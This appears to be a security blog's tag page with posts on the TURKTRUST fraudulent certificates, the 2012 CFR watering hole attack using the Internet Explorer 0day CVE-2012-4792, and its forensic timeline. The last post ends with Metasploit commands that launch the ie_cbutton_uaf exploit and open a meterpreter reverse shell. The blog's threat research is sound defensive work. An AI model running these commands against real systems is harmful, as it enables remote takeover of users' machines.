Posts tagged Internet Explorer
Google, Microsoft and Mozilla have release alerts regarding active attacks using fraudulent digital certificates issued by TURKTRUST, a Turkish certificate authority and a subsidiary company of Turkish Armed Forces ELELE Foundation Company.
Google alert precise that on 24 December they detected and blocked an unauthorized digital certificate for the “*.google.com” domain. This certificat was issued by an intermediate certificate authority (CA) linked to TURKTRUST. After investigation, in collaboration with TURKTRUST, it appears that an additional intermediate certificate authority was also compromised. Google Chrome certificate revocation list has been updated the 26 December to block these fraudulent intermediate CA.
Microsoft has release an Security Advisory MSA-2798897, who affects all supported releases of Microsoft Windows. Microsoft is updating the Certificate Trust list and provide an update for all supported releases of Microsoft Windows that removes these fraudulent certificates. Systems using Windows 8, Windows RT, Windows Server 2012, and devices running Windows Phone 8 are automatically updated and protected.
The following certificates will be added to the Untrusted Certificates folder:
- Certificate “*.google.com” issued by “*.EGO.GOV.TR” with thumbprint “4d 85 47 b7 f8 64 13 2a 7f 62 d9 b7 5b 06 85 21 f1 0b 68 e3“.
- Certificate “e-islem.kktcmerkezbankasi.org” issued by “TURKTRUST Elektronik Sunucu Sertifikasi Hizmetleri” with thumbprint “f9 2b e5 26 6c c0 5d b2 dc 0d c3 f2 dc 74 e0 2d ef d9 49 cb“.
- Certificate “*.EGO.GOV.TR” issued by “TURKTRUST Elektronik Sunucu Sertifikasi Hizmetleri” with thumbprint “c6 9f 28 c8 25 13 9e 65 a6 46 c4 34 ac a5 a1 d2 00 29 5d b1“.
Mozilla has release a Security Blog Post and take a different position than Google or Microsoft. The foundation will actively revoke trust for the two fraudulent certificates, but also suspend inclusion of the “TÜRKTRUST Bilgi ?leti?im ve Bili?im Güvenli?i Hizmetleri A.?. (c) Aral?k 2007” root certificate, pending further review. A new release of Firefox will be released on Tuesday 8th January.
These fraudulent certificate could be used to spoof content, perform phishing attacks, or perform man-in-the-middle attacks, so we advise you to update asap.
In my last blog post I reported you that the watering hole attack, involving an Internet Explorer 0day, was not limited to CFR.org, but also to energy manufacturer Capstone Turbine Corp. I also confirmed you that the attack has start minimum beginning December, and that some of these infected web sites were also previously infected with another Internet Explorer 0day discovered in September 2012.
After some additional researches I found two new web sites involved in the watering hole attack.
PHIL-AM Tour (http://www.philam.com.tw)
This web site, a Taiwanese travel agency, has been found infected through a Google dork and the “Helps.html” page is still in Google cache, but the web site has been cleaned. You can find the source code of the infected page on Pastebin. This web page was also analyzed trough jsunpack the 31 December.
This web site, a dissident Uygur web site, has been found infected through a Google dork and the “Helps.html” page is live. So take care if you visite this web site, you could be infected. Uygur are a Turkic ethnic group living in Eastern and Central Asia. Today, Uyghurs live primarily in the Xinjiang Uyghur Autonomous Region in the People’s Republic of China.
Same as for Capstone Turbine Corp. web site, this web site was also previously infected by CVE-2012-4969 I discovered in September. “Grumgog.swf” is in the house.
- robots.txt (96b01d14892435ae031290cd58d85c2e)
- today.swf (4df26a39734992ff7a8d95cc44542b2b)
- xsainfo.jpg (7c713c44e34fa8e63745744e3b7221db)
- news.html (76d14311bae24a40816e3832b1421dee)
- Helps.html (a25c13d4edb207e6ce153469c1104223)
Since the release of MSA-2794220 by Microsoft, regarding the CVE-2012-4792 vulnerability, a Fix-it solution has been provided KB2794220. I urgently advise you to apply this Fix-it solution, or to use another browser, until the release of the final patch surely planned for the 8 January Microsoft Patch Tuesday.
I have some interesting and funny additional information’s regarding the CFR watering hole attack, and I would like to share them with you. But previously I recommend you to read the following analysis done by security companies or independent security researchers:
- “CFR WATERING HOLE ATTACK DETAILS” from FireEye has been completed with additional information’s.
- “Internet Explorer Zero-Day Used in Watering Hole Attack: Q&A” from Symantec is also a pleasure to read.
- “CVE-2012-4792 – Analysis of today.swf” from StopMalvertising provide also interesting information’s.
Let’s start with the analysis of only two samples, “news_14242aa.html” and “Helps.html“. These two samples are quiet interesting, and a complete blog post is enough for them. I will analyze the other samples in dedicated further blog posts.
This sample was extracted from Google cache with a cache date of 7 Dec 2012 14:12:28 GMT. This sample clearly demonstrate that the compromise of CFR.org wasn’t the 20, or 21 December as mentioned by security companies or medias, but really sooner. The proof is still indexed and in cache of Google.
I received this sample, around the 29 December. This file is the equivalent of the first sample but with some modifications, you can see the differences in the following online diff. Additional languages have been added (jp – ru – ko), all the stuffs regarding Microsoft Office documents have been removed (boy or girl), some additional “blank” locations have been added and the body text has been hide.
Now, if you do research on VirusTotal with this MD5, you can find a relate sample, but with another filename “config.html” who was submitted the 2012-12-31 18:29:47 UTC. Looks like interesting, but has to be confirmed.
If you execute a request on urlQuery in order to search all “config.html” file for the last past month, you will discover a submission, dating from 2012-12-29 22:58:29, for URL “http://www.capstoneturbine.com/_include/config.html” on server 126.96.36.199. If you take a look at the urlQuery report you can see some “deployJavaPlugin” strings.
The Capstone Turbine Corporation company description, make me believe that this company profile could be a choice of quality for targeted attack:
Capstone Turbine Corporation ® is the world’s leading producer of low-emission microturbine systems, and was first to market with commercially viable microturbine energy products. Capstone Turbine has shipped thousands of Capstone MicroTurbine systems to customers worldwide.
By doing a Google dork research “site:capstoneturbine.com “_include”” you can see something strangely similar to CFR.org “news_14242aa.html“ file.
This page is also cached in google cache, and guess what ? Ho, Ho Ho, CVE-2012-4792 is in the house since the 18 December 16:10:40 GMT. So CFR.org was and is not the only target of this attack !
Now we will try to define the date of compromise of Capstone Turbine Corporation through research on Google by another google dork ““capstoneturbine.com” “_include”“. And we can find some interesting informations 😉
On support.clean-mx.de we can discover that the same “/_include/config.html” URL was indexed since 2012-09-19 04:31:01. But what is awesome is the evidence attached to this submission hoho it is CVE-2012-4969 I discovered in September 🙂 “Grumgog.swf” is in the house.
My conclusions are:
- CFR.org was comprised since minimum beginning December.
- CVE-2012-4792 was present on CFR.org since minimum beginning December.
- CVE-2012-4792 was also used to target visitors of another company named Capstone Turbine Corporation.
- CVE-2012-4792 was present on Capstone Turbine Corporation since minimum 18 December.
- Capstone Turbine Corporation was also used to spread CVE-2012-4969 and this since mid-September.
- Potentially Capstone Turbine Corporation is compromised since minimum beginning September
- Potentially the guys behind CVE-2012-4969 and CVE-2012-4792 are the same.
But, there is always a but in a story, take a look at the first submission for Capstone Turbine Corporation in August, “http://www.capstoneturbine.com/_flash/videos_native/exploit.html “. Imagine 🙂
Update 1 – 2013-01-02 1:30 am:
Jindrich Kubec director of Threat Intelligence at avast! confirm presence of CVE-2012-4969 in September on Capstone Turbine Corporation.
@eromangI wrote to Capstone Turbine on 19th Sep about the Flash exploit stuff they were hosting. They never replied. And also not fixed 😉
— Jindrich Kubec (@Jindroush) Janvier 2, 2013
CVE reference assigned the 2012-09-06
First samples of the attack discovered in Google cache the 2012-12-07
Vulnerability discovered exploited in the wild on CFE.org around the 2012-12-26
Vulnerability details provided by binjo, Eric Romang and FireEye the 2012-12-29
Microsoft Security Advisory published the 2012-12-30
Metasploit PoC provided the 2012-12-30
Metasploit module name changed the 2012-12-31
PoC provided by :
mahmud ab rahman
new IE 0day coming-mshtml!CDwnBindInfo object use after free vulnerability
Attack and IE 0day Informations Used Against Council on Foreign Relations
CFR WATERING HOLE ATTACK DETAILS
Affected version(s) :
nternet Explorer 6
Internet Explorer 7
Internet Explorer 8
Tested on Windows XP Pro SP3 with :
Internet Explorer 8
Note: The module name has change from ie_cdwnbindinfo_uaf to ie_cbutton_uaf
This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.
use exploit/windows/browser/ie_cbutton_uaf set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.26 exploit sysinfo getuid